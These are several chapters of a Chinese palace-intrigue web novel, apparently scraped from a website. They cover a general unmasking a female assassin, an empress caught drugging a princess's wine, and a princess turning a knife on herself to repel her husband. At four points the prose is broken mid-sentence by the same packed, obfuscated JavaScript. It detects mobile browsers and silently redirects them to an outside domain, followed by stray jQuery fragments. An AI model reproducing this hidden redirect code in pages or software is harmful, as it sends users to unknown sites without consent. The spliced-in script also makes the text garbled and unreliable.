徐家属于关氏阵营,偏偏被关皇后指给了晋王府,其心思昭然若揭,好在徐侧妃不是招摇跋扈的性子,入府多年来也算安分。虞静延思量片刻,道:“你做主便是。” 如此便是答应的意思,祝回雪应了一声,双眼弯了弯。风越吹越大,她主动道:“有些冷了,我们回房吧。” 说完,她便拉他衣袖,虞静延眼角微微弯起弧度,转而牵住她手:“今日不赶我走了?” 想起那些过往,祝回雪脸色微赧,却不肯承认,回道:“妾身何时‘赶’过殿下?” 两人说着话,缓缓穿过花园走廊,并肩回内室去。 --- 乌云掩月,已经过了宵禁的时辰,街坊四处寂静无人,偶尔从角落深处传出一两声野猫叫。冷清的城郊外,房檐上倏地闪过一道黑影,身形矫健的女子以布巾蒙面,只露出一双锐利的眼,迅疾如电般越过一排排低矮的瓦房,跃下屋顶。 就在蒙面女子疾冲之际,两侧暗巷中突然冲出几十个身穿甲胄的护卫,在飞檐走壁超过她后紧缩阵形,迅速把人困在了包围圈中。见来者不善,女子目色一厉,旋即飞身跃起,离弦般朝一个方向冲了过去,以极快的速度突出重围,然而这群护卫也并非无能之辈,一路跟着她紧追不舍,最终还是把人截停。 见难以脱身,女子眼露凶光,直接从腰间抽出刀,向人群攻了过去。 “砰——!”刀剑相搏的清脆声响愈发激烈,一时间双方胶着,难分高下。奈何女子武功再高强,终究是寡不敌众,坚持一炷香的功夫后体力明显不支,最后败下阵来。护卫们趁势一拥而上,绑住她双手押在了地上。 “老实点!”护卫首领喝道。 女子被众人制服,现在已经完全没有了反击的机会,只有含恨困在原地。这帮来路不明的护卫身穿的是正经铠甲,不像野路子来的匪徒,只怕是某方门阀势力的爪牙。不知自己是何时暴露了身份和踪迹,竟浑然不觉被人盯上,如今一朝落入圈套,想要逃脱可就难了。 护卫押着蒙面女子,却没有带她返回“老巢”复命,而是就地留下。片刻过后,一阵急促的马蹄声自道路尽处由远及近,到了他们面前,玄衣将军勒停马匹,冷峻而锋利的目光紧锁在女子脸上,后者与他视线相接,浑身一震,旋即剧烈挣扎起来。 怎么会是他! “将军,人抓到了。” 见主子前来,护卫纷纷行礼。萧绍颔首,走近到动弹不得的女子面前,护卫首领会意,让手下松开麻绳,控制住她的右侧手腕到萧绍面前,果不其然,在她窄袖腕扣的夹层里,正整整齐齐别着一排又细又长的银针。 萧绍微微眯起眼,在其中随意抽出来一根,放到眼前仔细端详,再次看清了其上刻着的特制纹路,正是上次在戏楼中见过的梨花寨秘器,银丝针。 既然已经兵刃相见,萧绍不欲再与她打哑谜,开门见山道:“宣城公主刚回京不久,一名南江来的细作横死公主府门外,乃是被凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13728546|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刺破心脉而亡,那个凶手所用的暗器,就是你身上的银针。” “那又如何?这银针并非仅我一人使用,萧将军只凭这一个证据,就想定我的罪吗?”女子冷笑。 她不肯承认,萧绍没有发怒,道:“银丝针是梨花寨的东西,这点错不了。我是不能凭此定你的罪,却可以把嫌疑范围缩小到梨花寨之内。” 一听他提起梨花寨,女子立马抬起头,厉声辩解:“梨花寨远在千里之外,有何理由要插手玉京的事?” “这就要问你自己了。”萧绍语含深意。 像是没想到他会回这样一句,女子沉默了,萧绍敛下目光,道:“南江使团入京的时候,你应该就来了吧?这段时日一直潜伏在京中,还暗中去过她的公主府。我摸清了你们的联络信号,今夜依葫芦画瓢一试,果不其然,你便上钩了。” 女子心中顿悟,同时暗暗恼怒。难怪今日来客栈找她接头的小侍女面生,暗号却报得格外流利,还知晓她的身份,她本以为是殿下新培养的心腹,没想到竟然是萧府精心训练出来的探子! “起初我就觉得奇怪,一个素来独来独往的匪寨,为何会出手庇护大齐的公主回国。我本以为只是卖大齐一个人情,后来才知道远没有如此简单。” 萧绍继续说着,黑眸锁在她脸上,“所以现在,我到底应该叫你黎娘子,还是晚梨?” 四周静下来,只有巷口的风声呼呼作响。护卫为她松了绑,女子重获自由,却没有立刻动手脱身,依旧站在原地。 俄顷,她像释然般吐出一口气,终于是放下戒备不再掩藏,摘下蒙面的布巾。 “萧世子,你还真是心思缜密,洞察入微。” 自从他脱离萧侯府自立门户,便很少有人再这样叫他了。终于亲眼看见女子的真容,萧绍的心情说不上是轻松还是复杂,当初感到困扰或疑心过的种种事情,在这一刻纷纷得到了答案。 南江细作体内的银针、镜玉坊三楼来路不明的女刺客、还有,宫宴之上刻意说起吴州矿产的事引皇帝疑心、对待关皇后及其子女若有似无的敌意……黎娘子,以她为首的梨花寨,她们如此行事,固然有针对局势的考量,除此之外,必然还有一个极为重要的原因,就是虞静央。 而她,看似柔弱无助的她——不论是银针还是刺客,还是梨花寨同大齐朝廷的权谋博弈,恐怕都是完全知晓的,也许甚至还参与过某些事的谋划。 看似远离一切纷争,实际上却做着执棋人。 “你们做的这些事,她可都知情?”萧绍问。 晚梨没有回答,而是面露嘲讽:“世子想听到什么答案?” 在这个世上,或许很少有男人希望自己的心上人是个城府深重又野心勃勃的女子,他们无用却自大,时时关切着女子要贤良淑德,要安分守己,自己却最好可以一朝飞升上天入地,把所有人都踩进泥里。 五年的时间,足以改变一个人,若萧绍也抱着如此的想法,那殿下也就没有与他更进一步的必要,不如尽早换个更听话的。 70. 贡品 萧绍的沉默很快被晚梨理解成了其他意思,更确认了心中所想:“怎么,世子犹豫了,想要退缩了?在你们眼里,是不是公主就应该是纯真无邪的公主,永远不能有自己的仇恨和野心?可我告诉你们,若她一直是从前的性情,别说我和晚棠,连她自己都会被吃得连骨肉渣都不剩!” “我从未如此想过!”萧绍突然抬起头,眼中是前所未有的认真,还带着显而易见的急切,“她在南江,到底都经历了什么?” 晚梨望着他,忽然想了起来。是啊,他还不清楚呢,公主为了家国所受的苦难,凭什么要藏着掖着? 于是,晚梨选择了陈述,冷着目光,将旧事和盘托出:“五年前战事结束后,殿下以公主身份远嫁南江,是盟约缔结的使者,也是战败国的‘贡品’。起初的时候,南江人的态度虽称不上多么尊敬,但也勉强过得去,起码没有缺衣少穿,可后来发生了一件事,自那以后,殿下的处境每况愈下。” 萧绍听着,明明还没讲到令他心揪的地方,手却已经开始微微发颤,满心都是她口中那个“贡品”。 大齐上下视若珍宝般爱戴的公主,在他们看不见的地方,被人当作一件“贡品”。 “那天郁沧大怒,险些对殿下动手,我护主被迁怒,发落‘赏’给了他身边的大太监,那个太监名叫郭元昌,男女不忌,在王庭臭名昭著,却独得郁沧宠信。为了救我,殿下逃出寝宫亲手杀了他,用匕首在他身上来来回回捅了几十个洞,也不知是哪一下断的气。” 说到一半,晚梨想起什么,面露哂色,“忘记说了,世子猜一猜,令郁沧气愤到如此难以地步的,究竟是什么事呢?” 迎着萧绍的目光,晚梨道出真相:“殿下嫁入南江半年后,几封来路不明的情信跨越大齐边境被送到王储府,以中原文字写就,一字一句情真意切,思绪缠绵,最后的落款只写了一个‘绍’字。殿下熟悉世子的字迹,知道那定然不是出自你手,而是有人蓄意陷害,但以郁沧的多疑,偏偏又是最经不住煽动挑拨的。” 情信? 萧绍僵在原地,极度震惊之下,随之而来的又是滔天的恨与怒。他双眼渐渐变红,胃里犹如一丛烈火在烧,当时木已成舟,就算他对她再念念不忘,也不会糊涂到送信去胡搅蛮缠,那无疑是把她往死路上逼。 何况……刚刚分离的时候,他几乎是怨恨极了她,心中没有半点别的想法,只想彻底忘记她,才好走出这段令他深陷的情伤。 那些南江人先前同她素未谋面,不会那般费心地去调查她的过往。清楚地知道他和她有过一段情,又不希望她好过的人,全在玉京脚下。 “事发后,殿下把出府的令牌给了我,让我先逃,自己则留了下来。我在外面逃命数日,直到流亡边境被梨花寨收留,后来才得知消息,那天之后,郁沧把殿下关在了一座千寻塔上,幽禁三天三夜,期间侍卫疏于职守,没有发现塔中烛台意外跌落失火,等到殿下被救出来的时候,裙角被火苗燎得褴褛,那么高的塔顶,几乎被烧尽了。” 萧绍僵在原地,清楚地尝到了喉中上涌的腥甜,一颗心剧烈地突突跳,顷刻间被利刃剜成了一块一块,疼得彻骨。 难怪……难怪她会那么恨南江人,又那么害怕摆满蜡烛的房间。原来那些蜡烛,竟是她死里逃生后在心里无法挥散的阴影。 不是一天,不是一个月,而是整整五年。从前娇生惯养的小公主,长大却待在那个水深火热的地方,是如何熬过来的? “他们不是不满公主,而是看轻战败国的大齐,就算偶有心怀良善之人,为了不被当作‘异类’,最后也不得不随波逐流,成为他们中的一员。臣服、纳贡不够,还要看着手下败将继续在自己脚下狼狈乞怜,南江人每每欺凌公主一次,便相当于打一次大齐的脸。” 过去的事就像一颗钉子深深扎进心脏,让她这辈子都不可能忘记,晚梨的眼中依旧含着恨意,却悄然红了,“殿下贵为公主,尚且被如此对待,大齐的平民百姓就更不必说了。” 冰冷残酷的字眼接连传进耳畔,萧绍的手紧紧握着腰间剑鞘,指骨泛白,几乎无法不失态,急促而沉重的鼻息艰难交换着空中的凉意,依旧难以平息胸中滚烫翻滚着的情绪。 现任南江王登位之初穷兵黩武,接连向周边各国发起战争,那时大齐政权初立,无力与之抗衡,自然而然地成为了南江野心膨胀后的输家,自那之后,两方订立和约,大齐的国土比南江大三倍不止,却要连年向其纳贡,原本在政权更替下日子刚刚安稳起来的黎民百姓,又担上了沉重的赋税负担。 萧绍曾经去过边疆,见过那些生活在两国交界处的人们,他们的村庄与南江国隔着一条宽阔的大江,生活在那里的人,本该是处于大齐庇护下安居乐业的子民,却日日受着鞭子、木棍的抽打,至今仍被异国的士兵和地主奴役。 他想,如今的大齐需要一场战事扭转屈辱的地位,才能得到自由解放,让他们的公主、他们的百姓真正过上自己想要的生活。现下,淮州军正陈兵京郊,不论是他,还是其他将领或任何一个士卒,都早已整装待发,只消皇宫一道诏令,他们便能剑指边疆,挥师南下。 晚梨不是萧绍肚子里的蛔虫,不会知道他在想什么,只看见他始终沉默着不发一言,于是愈发确定了心中的猜测。是了,玉京是个繁华安定的锦绣丛,达官贵人们留在这里,何须理会外面的艰难不堪,既然公主已经被送出去一次,再来一次又有何妨? 从前萧绍与殿下情深,但时隔多年,现在未必还剩下几分,恐怕早就与那些人怀着一样的心思。 “以梨花寨现在的地位,相当于大齐的盟国,萧将军,你要捉拿我吗?” 晚梨心中失望至极,毫不客气地出声威胁,“殿下于我有救命之恩,我无论如何都要救她。就算你抓我去见了皇帝,揭穿我的身份,你信不信,我照样可以全身而退。” 如果 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13732302|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身份暴露,她反而可以更加无所顾忌,明目张胆地关注殿下的“行踪”,进而向朝廷施压。大齐护不住的人,自有她来护。 晚梨再也不想多说什么,重新系上蒙面的布巾。然而,萧绍今日虽然设局派亲卫前来阻截,却从未想过对她做什么不利的事,只是希望能从她口中听到完完整整的坦白,先前捆住她双手,也不过是因为担心她身手太好轻松脱身,拒绝和自己对话。 片刻后,他的声音响起:“你走吧。” 这个答案在晚梨意料之中,周围的护卫无人上前阻拦,她也不再浪费时间,当即就要离开,走远一段距离,又听见身后传来:“不要把你我见过的事告诉她。” “为什么?”晚梨停下脚步,却没有回头。 “我不想让她误会,觉得我不信她。” 阴云把月亮遮得严严实实,萧绍的身影隐在夜色里,只有低低的声音在静寂中传来,仿佛某种承诺,“朝廷是朝廷,我是我,不论最后他们怎样决定,我都不会放弃她。” --- 天子脚下看似风平浪静,实则总是暗藏汹涌,这□□会,御史大夫连同廷尉府上奏光禄勋贪墨一事,直接将调查后的案卷交到了天子面前,从哪里克扣钱财中饱私囊、在各处抠出了多少,无一不写得明明白白,已是证据确凿。 光禄勋掌管禁卫军,保障的是玉京乃至皇宫的安危,如今竟也遭蛀虫啃食。此事一出,朝中一片哗然,虞帝更是勃然大怒,当场发落了涉案官员死罪,至于紧随而来的抄家和流放,竟都显得不那么骇人了。 朝廷发生的大事一字未落地传进后宫,得知消息后,坤宁宫动荡不安,只因那人头落地的大臣平时常与关家走动,虽非门生,关系亦是十分密切,日常献上的“孝敬”自然也不止一两次。从前,光禄勋一职一直由他们的人占据,在他之下便是兼任光禄勋副尉的萧绍,两边一方代表关家,一方代表天子,各自握有一半实权,共同拱卫皇室,分庭抗礼也保持平衡,如今圣上突然出手,他们经营的势力随之倾颓,岂不是尽数给他人做了嫁衣! 关皇后焦灼,就这样心神不宁地过了半日,到了午后,御辇竟毫无征兆地驾临了。 虞帝脸色不佳,众人如临大敌,纷纷低首噤声。关皇后忍着忐忑,装作无事发生般奉上一盏杏仁茶,须臾无人接过,忽然袭来一阵大力,将她手中茶盏重重扫飞了出去。 “咣——”地一声重响,茶盏在殿柱上撞了个四分五裂。满殿宫人下跪,关皇后大惊,也立刻伏了下去:“陛下息怒!” 上首人的语气还算平稳,却明显听得出阴沉:“知道朕这次为何重罚王裕昆吗?” “妾身不知!” “因为你做错了事!” 王裕昆便是光禄勋,现下已然身首异处。紧接着,虞帝一拂袖,一包白色的药粉被扔在了地上:“那日央儿与南江使臣相见,你在酒中放了什么?朕不说,你便以为朕不知吗!” 71. 反叛 看见药粉的一刹那,关皇后脸上血色尽失。她明明早就已经让人拿去销毁,怎么会?! 皇帝日理万机,本无精力顾及后宫的事,她理所当然地这样以为,却没想到御膳司中竟也有天子的眼线! 关皇后后脊发凉,连声道:“陛下恕罪,妾身,妾身是一时糊涂!如今南江使团留在玉京,陛下日日为盟约之事烦心,妾身看在眼里心急如焚,只是想为陛下分忧,才想出这么一个昏招——” 虞帝重重哼了一声,双手负于身后:“你这不是为朕分忧!皇后,朕看是你私情作祟,央儿走了,你才觉得扬眉吐气吧。” “妾身不敢!” 宫人早已退了下去,只有帝后两人在殿中,关皇后哀声:“妾身是三殿下的嫡母,如何不希望她过得好?只是当下正是两国关系发展的关键时候,陛下和百官都进退两难,倘若三殿下不回去,岂不是要大齐公然毁去盟约?” 上首没有说话,关皇后冷汗涔涔,硬着头皮继续道:“妾身身在中宫之位,思来想去别无他法,只有出此下策,毕竟三殿下出嫁多年,早与南江储君有夫妻之实,倘若成事,也不算损毁清誉……” 虞帝面上阴晴不定,让人不知道他在想什么。虞静央与南江人见面的当日,他命御膳司赐菜以示恩典,之后便没有再过问,一直到傍晚时分都不见虞静央进宫谢恩,他觉得奇怪,派人前去看望,御前侍候的小太监到了公主府,却见虞静央由人扶着走出卧房,脚下虚浮而无力,看上去虚弱到了极点。 她脸色苍白,眸中满含着屈辱和怨愤:“父皇想让我走,大可一道圣旨直接发落了,为何要如此羞辱自己的孩儿!” 虞帝将朝政大事放在首位,但要对自己的骨肉至亲使这般阴私的手段,他也是做不出的。想到这里,虞帝扫了一眼跪在地上的关皇后:“朕说过要与南江再续盟约了吗?” 关皇后愣住,旋即抬起头:“陛下!” 虞帝不理会她怎么想,冷声警告道:“朕不希望在外面听见什么风言风语,此事下不为例。你记着,就算央儿最后要回到南江,也该是风风光光地走,而非受人逼迫,除了离开别无选择。” 关皇后怔然半晌,回神后低首,忙应道:“是!” 虞帝走后,关皇后缓缓起身,方才的惊慌和惧怕仍未过去,她胸口起伏,注视着那道背影远去直到消失不见,极度愤恨之下,却悄然勾起了一个快意的笑。 四方馆传回的信件里说,将会在下次面圣时二次加码,出手阔绰,大有不迎回虞静央不罢休之意。这一次,他们拿出的“诚意”是租让玉河谷地十年的使用权,那里土地肥沃,稻谷连年丰收,如果得到这一片土地,起码可以保障大齐周边十座城池的粮食供应。 父女情深……等到南江人提出来的时候,陛下还会像今日所说般怜惜虞静央这个女儿吗? --- 是日,乾安宫召见重臣商谈要事。将近正午时,众臣散去,苏昀不欲与人客套寒暄,便刻意放慢了脚步,奈何还是被人拦下。来者竟是吴王,许是此刻心情颇佳,一贯阴郁的神色也看起来不那么怵人了。 眼见走不了,苏昀敛下神色,主动见礼:“见过吴王殿下。” 已然出了乾安宫,虞静循显得放松许多,很快免了他的礼,问道:“苏博士得父皇赏识,步步高升,本王在此祝贺了。” 他说完,身后跟着的小厮上前,手里捧着一个方形的锦盒,是给苏昀的贺礼。 虽不知面前的锦盒里装着何物,但必定十分贵重。苏昀当即退后一步,委婉道:“殿下抬爱,微臣心领了,至于贺礼实在愧不敢当,还望殿□□恤,莫要为难微臣。” 见他态度坚决,虞静循也没有强求,而是道:“苏博士为官清正,不喜欢假意奉承的那一套,是本王唐突了。” “微臣惶恐。” 收到了主子的眼色,小厮识趣地退到一边,虞静循道:“本王平日喜好收集古籍孤本,经年累月下来府上也积存了不少,奈何学识浅薄,每每读至晦涩之处便感到吃力。苏博士博古通今,想必对此擅长,倘若何时有空能来鄙府指点一二,本王必定扫榻以待。” 苏昀拱手,谦逊道:“殿下言重了。微臣才疏学浅,不过有一番清谈论辩的能耐,岂有指点之说。” “那本王便等着了。” 他说得模棱两可,虽然没拒绝,却也没有直言答应,虞静循眼含深意望了一眼,便乘辇离开了。 苏昀低首恭送,待人走远,他缓缓举目,清眸中神色复杂。 光禄勋贪墨一事遭人告发,在虞帝的默许下,廷尉府顺藤摸瓜继续向深处查,随着被接连查出来的蛀虫被正法,便有许多官职出现了空缺。苏昀连升两级,顺理成章向上填补官位缺口,手中也有了更大的实权,当之无愧成为了年轻一代里最受圣上信重的文臣。 诏令一发布,苏昀在朝中愈发炙手可热,成为了许多家族首要拉拢的对象。面对纷至沓来的示好和邀约,他一一婉拒了回去,今日尚未出宫,吴王就在半路上特意等他前来,意图如此明显,也不知是愚笨鲁莽,还是故意为之。 苏昀并不清楚虞静循的用意,身为有封地有势力的皇子,若想在皇帝眼皮子底下免遭猜忌安然度日,的确不能是太过聪明和完美的,但皇家子女常年浸淫在朝局博弈当中,耳濡目染,本也不该有蠢人。 跟着苏昀的书童面带担忧:“主子,你真要找时间去吴王府上?” 苏昀心中澄明,摇了摇头。他本无结党站队之心,既然已对吴王的目的心知肚明,又怎会明知故犯,到时候不慎惹上一身腥,再想洗干净就难了。 现在这个时辰,朝臣们多已结伴离开,宫道上人影冷清。苏昀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13736768|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续向宫门方向走,临到出宫时,却与钱顺海为首的一行人撞了个正着。 议政早已散去,钱顺海没想到会在这里遇上苏昀,猫着腰见礼:“见过苏博士。” 苏昀也颇觉奇怪,问道:“午膳时辰将至,陛下身边应当离不得人,钱公公这是要去哪儿?” 苏昀常在御前办职,因此两人时常打照面,钱顺海早就同他熟稔,听他问起也不瞒着,笑道:“苏博士,你说到点子上了,正是因为午膳时候,陛下才吩咐奴才去接三殿下进宫用膳呢。” 苏昀一怔,道:“原来是这样。” 两人寒暄一番,钱顺海有皇命在身,不好多逗留,说了几句话后便先行离开了,身后跟着的宫人抬着一架空御辇,还配了雀屏华盖,可谓极尽隆重,想是天子赐给三殿下的荣宠。 回府的路上,苏昀心神难定。父女之间一同用饭,本是再正常不过的事,可他还是会忍不住多想,就在今日早朝,南江使团宣布愿意让出玉河谷地十年,只求迎宣城公主回国,与大齐再续同盟之谊。朝中因此掀起轩然大波,就连方才乾安宫召集重臣也是围绕着这一件事商议,众臣分作两派各执一词,争论不休,有许多原本举棋不定的臣子最后也坚定了态度,支持两国再续盟约。 陛下没有立即定夺,如今传召三殿下入宫用膳,指不定就是为了这件事。 苏昀抿着唇,清隽疏淡的眉眼逆着光,蒙上了一层寂静的愁绪。回府以后,他没有用午饭,而是先去了佛堂,拜见自己深居简出的母亲。 苏家主母姓秦,性情娴静,自苏昀的父亲去世后,她便常年住在佛堂吃斋念佛,极少出府社交,平时也不多过问府上的事,能让她稍稍挂心几分的,也就唯有苏昀何时成婚这一桩大事了。自家儿子受天子赏识,令人人艳羡不假,可人常说先成家后立业,他年岁早已及冠,房中却至今空无一人,实在令人牵挂。 母子两人闲谈片刻,也就自然而然地提起了这一话题。秦夫人道:“我听说三日后陈府办秋蟹宴,已经送来了请帖,你到时若无公事,不妨也前去看一看。” 像这些大臣或侯爵府上办的宴会,一般来说只有两种目的,除了结交势力,便是相看姻缘了。苏昀没有广结人脉的需要,也懂得母亲话中的意思,这次却少见地起了反叛之心,半晌,轻声道:“儿子不想去。” 一贯温和孝顺的儿子难得回绝她的要求,秦夫人没有恼,只是感到意外:“为何?” 苏昀抬起眼眸,答道:“儿子心中,已有属意之人。” “当真?” 从前没听他说过,今日着实有些突然,秦夫人一愣,随之露出悦色,“不知是哪家贵女?” 哪家贵女…… 苏昀动了动嘴唇,却变得沉默了。他该怎么向母亲坦白,是说自己喜欢上了尊贵的天家公主,还是南江储妃? 72. 沉颓 铜雀香炉中轻烟氤氲,熏染着堂前庄严厚重的金塑佛龛,不知过了多久,他终是鼓起勇气。 “很多年以前,儿子就喜欢一个人,那时她无忧无虑,像个小太阳一般,我不敢大大方方凑上前,只好藏在一旁,悄悄看她。后来她遭逢厄运,在外面受了许多苦,我却不知,还以为她过得很好。” 苏昀说着,从来如积雪般清冽明净的眼眸,此时却藏着无尽的纠结和哀意,“如今,她终于回来了。母亲,我不愿看着她走,让自己再后悔一次。” 从南江王都,到大齐的玉京,这一段路途何其遥远,苏昀清楚地知道,若这次他还是没有抓住她,那么余生的几十年,他们应该都不会有再见面的机会了。 他无法就这样看着她离开,想帮她脱离苦海,如果可以,他愿用尽全力换她周全。 苏昀没有说出虞静央的身份姓名,但从他开口第一句话开始,秦夫人就清楚了他口中所说之人是谁。 望着他忧愁的眉眼,妇人轻叹,一向恬淡平和的神色变得似惋惜,似悲悯:“可我们能做什么呢?她是公主,苏家护不住她。” 秦夫人的话十分简短,却点醒了苏昀迷蒙的心。是了……他站在现在的位置,能做什么呢? 他不是谏官,不能大肆抨击南江使团的诸多狂妄无礼之举;也不是武将,不能为大齐开疆扩土,用刀枪夺回家国的尊严。他常侍御前,为天子备仪礼顾问,应和诏令文章,人人艳羡他受器重,得赏识,但在这份荣华背后,他不能表达自己的态度,甚至不能有自己的立场。 他似乎应该永远保持理性,可是,只要一个人的心还在跳动,就不会一直是理性的。 苏昀眸中的光彩渐渐暗淡下去,指尖冰凉。他想她留下,换句话说——他不是一定非要得到她,如果最终做不到,他也情愿像许多年前那样,只是远远看着她。 然而,就是如此简单而知足的心愿,他都无法寄希望于自己。 “儿子明白。”苏昀哑声道。 时间已晚,他不欲再打扰母亲,缓缓退了下去。那道清瘦的身影不像往日那样挺拔,如傍晚萧索中沉颓下去的夕阳,纵使明日还会升起,而今日之情,却终归难以再见天日。 --- 四方馆,郁沧看着对面的女子,面露得色,心下更是印证了自己的猜测。管她是什么尊贵的大齐公主,现在也早已成了南江妇,齐国皇帝嘴上倒是珍视他这个女儿,实际又能有几分。 “看来我们的决定是正确的,一说让出玉河谷地,不仅让齐国朝廷动摇,就连你都坐不住了。”郁沧讥诮道。 早先那些老臣要交出这一筹码的时候,他还百般反对,因为玉河谷地是昭宁十五年南江打了胜仗后从齐国割来的土地,而今却要就这么不痛不痒地“还”回去,叫他如何能甘心?现在看来,这一选择倒是格外明智。 这里是四方馆,尽管有南江侍卫把守,却依然是大齐朝廷的地盘。因此,虞静央姿态从容,秾艳的眉眼透着冷意,嘲讽道:“你们还真是大手笔。” 实际上她心知肚明,倘若不是为了保住岌岌可危的外事关系,南江人绝不会这样做。每年接受上贡的战胜国,看似风光,如今却要低声下气地主动向战败国大齐修复盟约,足以证明五年间两国实力的变化。 因此,他们越是出手阔绰,越暴露了现下南江外强中干的处境。 “倘若你足够懂事,孤也不必如此。”郁沧仰靠在身后圈椅上,缓缓眯起眸子,“其实孤原本已经做好准备,打算回去之后善待于你,让你安享储妃尊荣,但自从知道了那天在兰县时你和萧绍的所作所为,孤便反悔了。” “我听不懂你在说什么。”虞静央直视着他,神情未见半点变化。在现在这种紧要关头,她怎么可能会主动暴露把柄供他拿捏。 身在异国,南江的耳目能力有限,无法查出那几日萧绍确切的行踪,但郁沧心里清楚,当时她还没有离开酒楼,湖边就那么几只画舫,那个女子不是她还能是谁? 距离和萧绍打照面的那场宫宴已经过去多日,现在的郁沧已经平静不少,冷笑道:“旧日情人,久别重逢……我早该想到的,毕竟你和他难舍难分,就连在我眼皮子底下的时候,都没忘了互相传信。” “我曾解释过许多次,只是你不愿相信罢了,不要拿着没有证据的事向我身上泼脏水。” 提起昔日之事,虞静央已经不会再像当初那样向他慌忙解释什么,只扫了他一眼,“可惜那封信被你撕碎了,倘若留到现在,你还可以拿着比对一番他的笔迹,抑或是直接交到我父皇面前同他对质,看看我究竟有没有撒谎。” “有人陷害我,你便上钩了,五年过后,你来到玉京,又毫不怀疑地和他们联手了。对身边人百般怀疑,对素未谋面的生人却莫名信任,我奉劝你,最好还是留个心眼。”她嗤道。 隔着一道桌案,两人无声僵持,耳边是窗外枯叶萧索的簌簌声。然而经她一提,郁沧也意识到不对劲,关氏是同他们交换了条件,可为什么要大费周章地这么做?虞静央只是一个公主,左右不了朝局势力,更威胁不了他们的地位。 见虞静央坦坦荡荡,郁沧盯着她,目光中满是暗沉。难道当年的事有人故意陷害,真是他冤枉了她? 眼前的女子着中原裙裳,挽高髻,簪凤钗,每一根头发丝都透着明艳尊贵,没有半分从前的病弱憔悴之气。郁沧望着她,脑海中又浮现起兰县那只画舫中的情景,就好像属于自己的精致物件被他人无端染指,让他无法不怒气上头。 郁沧走到她面前,忍着道:“就算当年是误会,兰县的事是我亲眼所见,总冤枉不了你。你和他做到哪一步了?搂搂抱抱,还是已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13740857|131511||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经……” 他伸出手,撩起一缕她的发丝,就在快要摸到她脸的时候,虞静央忍无可忍,豁然起身同他拉开了距离,脸色难看:“离我远点!” 她没有解释,还拒绝了他的靠近,这种冷漠的态度几乎令郁沧确定了心里的猜测。 一想到她在别人怀里婉转承欢的样子,郁沧心中的怒火夹杂着占有欲如火山般一同爆发,再次逼近到她面前:“你我是夫妻,我如何碰不得你?你说,如果我就在这里和你发生点什么,齐国皇帝是会愤怒还是会高兴?” 这次,虞静央一动未动,眸子像淬了冰:“你大可以试试。” 她从袖中抽出一把小刀,寒光一闪,直接将刀刃抵在了自己的侧颈,动作之干脆把郁沧都吓了一跳,脚下下意识后退两步,定睛一看,刀的尾部连接着鼻烟壶,正是割伤他手的那一把。 虞静央立在墙角:“你知道它有多锋利,若我死在这里,大齐和南江也就没必要纠缠下去了。” 薄薄的刀片陷进皮肤,制造出一道凹痕。郁沧定定盯着那处,冷静背后藏着阴戾:“虞静央,你敢死?” “你以为呢?”虞静央缓缓问道,眼中不见半点畏惧或动摇,刀抵在脖子上,竟还流露出一点即将见血的兴奋,“是什么让你觉得,我会怕死?” 说完,她手上更加用力,尖锐的刀尖刺进皮肉,顿时见了血色。外面守着的南江大臣听见动静,立刻三三两两冲了进来,他们这些人都是被南江王提前下过死命令的,若今日储妃殒命于此,两国盟约被毁,他们回去怎会有好果子吃! “储妃娘娘,切莫冲动啊!” 众人见状吓得面无人色,扑通一声跪在地上求情。郁泽跟在后面进来,看清状况后也脸色发白,慌忙劝道:“王嫂,别做傻事啊!” 一群人远远围着虞静央,恨不得冲上去把她供起来,却又不敢贸然上前。郁沧握拳站在原地,脸色铁青,然而众臣现在心急如焚,顾不上关注他的反应,只恨铁不成钢地连声追问“殿下同储妃说了什么话”“殿下方才做了什么”。 先前已经被这些老臣告诫过,郁沧被逼问得额角青筋直跳,众目睽睽下又难以发作。思量过利害关系后,他终于暂时抛下了作为“上位者”的尊严,隐忍道:“是孤唐突,你先把刀放下。” 